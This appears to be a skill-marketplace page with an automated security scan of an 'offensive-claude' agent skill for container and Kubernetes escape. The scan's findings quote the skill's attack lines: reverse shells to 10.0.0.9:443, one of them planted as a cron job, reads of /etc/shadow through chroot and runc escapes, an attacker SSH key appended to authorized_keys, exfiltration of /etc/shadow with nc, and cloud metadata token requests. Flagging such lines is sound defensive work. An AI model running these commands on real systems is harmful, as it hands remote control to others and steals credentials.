hypnguyen1209/offensive-claude / skills/container-k8s-escape
container-k8s-escape
FlaggedUse when breaking out of a container or escalating inside Kubernetes — runc/BuildKit CVEs, privileged/capability/cgroup misconfig escapes, NVIDIA GPU toolkit escape, K8s RBAC abuse, kubelet RCE, ingress/admission-controller RCE, node-to-cluster pivot
Security report
FlaggedStatic analysis of one exact version. It reduces risk and shows evidence; it does not certify that a skill is safe.
- Commit
7baa2fdea777f638a63b8a7071ef973881bdbfcc- Content hash
affed80d33e21b837200daa4f77eea83a9cb5595b5043eb8a77c9ddb8d1c3693- Scanned
- 2026-11-17
- Scanner version
- skillxone-scan-1.0.0
- Policy version
- 0.1-draft
- Decision
- 12 open critical or high findings.
- Verification expires
- Not applicable
Findings (6 critical, 6 high, 2 medium, 1 low)
The command gives a remote host interactive control of this machine (a reverse shell).
"nohup bash -c 'bash -i >& /dev/tcp/10.0.0.9/443 0>&1' >/dev/null 2>&1 &");Suggested fix: Remove it.
The skill refers to system password files, a location that holds private data or credentials. The same file also sends data over the network, so severity was raised one level.
"Image":"alpine","Cmd":["chroot","/host","sh","-c","id; cat /etc/shadow > /host/tmp/out"],Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The command gives a remote host interactive control of this machine (a reverse shell).
chroot /host sh -c 'id; bash -i >& /dev/tcp/10.0.0.9/443 0>&1'Suggested fix: Remove it.
The skill refers to SSH keys, a location that holds private data or credentials. The same file also sends data over the network, so severity was raised one level.
echo 'ssh-ed25519 AAAA... atk' >> /host/root/.ssh/authorized_keysSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to system password files, a location that holds private data or credentials. The same file also sends data over the network, so severity was raised one level.
docker run --rm -w /proc/self/fd/8 alpine sh -c 'ls -la ../../ ; cat ../../etc/shadow'Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The command gives a remote host interactive control of this machine (a reverse shell).
'echo "* * * * * root bash -c \"bash -i >& /dev/tcp/10.0.0.9/443 0>&1\"" > ../../etc/cron.d/x'Suggested fix: Remove it.
The cloud instance metadata service is contacted. On a cloud machine it hands out credentials.
TOK=$(curl -s -X PUT http://169.254.169.254/latest/api/token \Suggested fix: Remove access to the metadata service.
The skill refers to system password files, a location that holds private data or credentials.
chroot /h sh -c 'id; cat /etc/shadow'Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The cloud instance metadata service is contacted. On a cloud machine it hands out credentials.
T=$(curl -sm2 -X PUT http://169.254.169.254/latest/api/token \Suggested fix: Remove access to the metadata service.
The skill refers to cloud provider credentials, a location that holds private data or credentials.
python3 k8s_rbac_audit.py --kubeconfig ~/.kube/config --dangerousSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to system password files, a location that holds private data or credentials.
python3 runc_cwd_escape.py --cmd 'id; cat ../../etc/shadow'Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to system password files, a location that holds private data or credentials.
python3 scripts/runc_cwd_escape.py --cmd 'id; cat /etc/shadow' # via docker -w or k8s revshellSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
A local file is sent to a remote host.
nc 10.0.0.9 443 < ../../etc/shadow"]Suggested fix: Make uploads explicit to the user, name the destination, and never send files the task does not need.
The skill refers to system password files, a location that holds private data or credentials. Severity lowered from high because it appears in a code comment.
# bash nvidiascape_build.sh --cmd 'id; cat /etc/shadow' --tag evil-gpu:latest --run # build + runSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to cloud provider credentials, a location that holds private data or credentials. Severity lowered from high because the surrounding text warns against it.
python3 scripts/k8s_rbac_audit.py --kubeconfig ~/.kube/config --dangerousSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
Checks run
- prompt-injection
- dangerous-commands
- credentials
- network
- file-access
- integrity
Checks skipped
- dependencies: No dependency manifest in the skill directory.
- gitleaks: gitleaks is not installed on this host.
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| writing-skillsobra/superpowersUse when creating new skills, editing existing skills, or verifying skills work before deployment | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| xlsxanthropics/skillsUse this skill any time a spreadsheet file is the primary input or output. This means any task where the user wants to: open, read, edit, or fix an existing .xlsx, .xlsm, .xltx, .csv, or .tsv file (e.g., adding columns, computing formulas, formatting, charting, cleaning messy data); create a new spreadsheet from scratch or from other data sources; or convert between tabular file formats. Trigger especially when the user references a spreadsheet file by name or path — even casually (like "the xlsx in my downloads") — and wants something done to it or produced from it. Also trigger for cleaning or restructuring messy tabular data files (malformed rows, misplaced headers, junk data) into proper spreadsheets. The deliverable must be a spreadsheet file. Do NOT trigger when the primary deliverable is a Word document, HTML report, standalone Python script, database pipeline, or Google Sheets API integration, even if tabular data is involved. | Stars: 198k | Updated | Claude CodeCodex | Verified | Install |
| shipping-and-launchaddyosmani/agent-skillsPrepares production launches. Use when preparing to deploy to production, or when asking what needs to be in place before shipping. Use when you need a pre-launch checklist, when setting up monitoring, when planning a staged rollout, or when you need a rollback strategy. | Stars: 119k | Updated | Claude CodeCodex | Verified | Install |
| childhoodthedotmack/claude-memBabysit a shipped release after merge, publication, or deployment. Verify published packages, production behavior, installed plugins, and late CI or user reports until the observation window is clean; use babysit for PR readiness before release. | Stars: 118k | Updated | Claude CodeCodex | Verified | Install |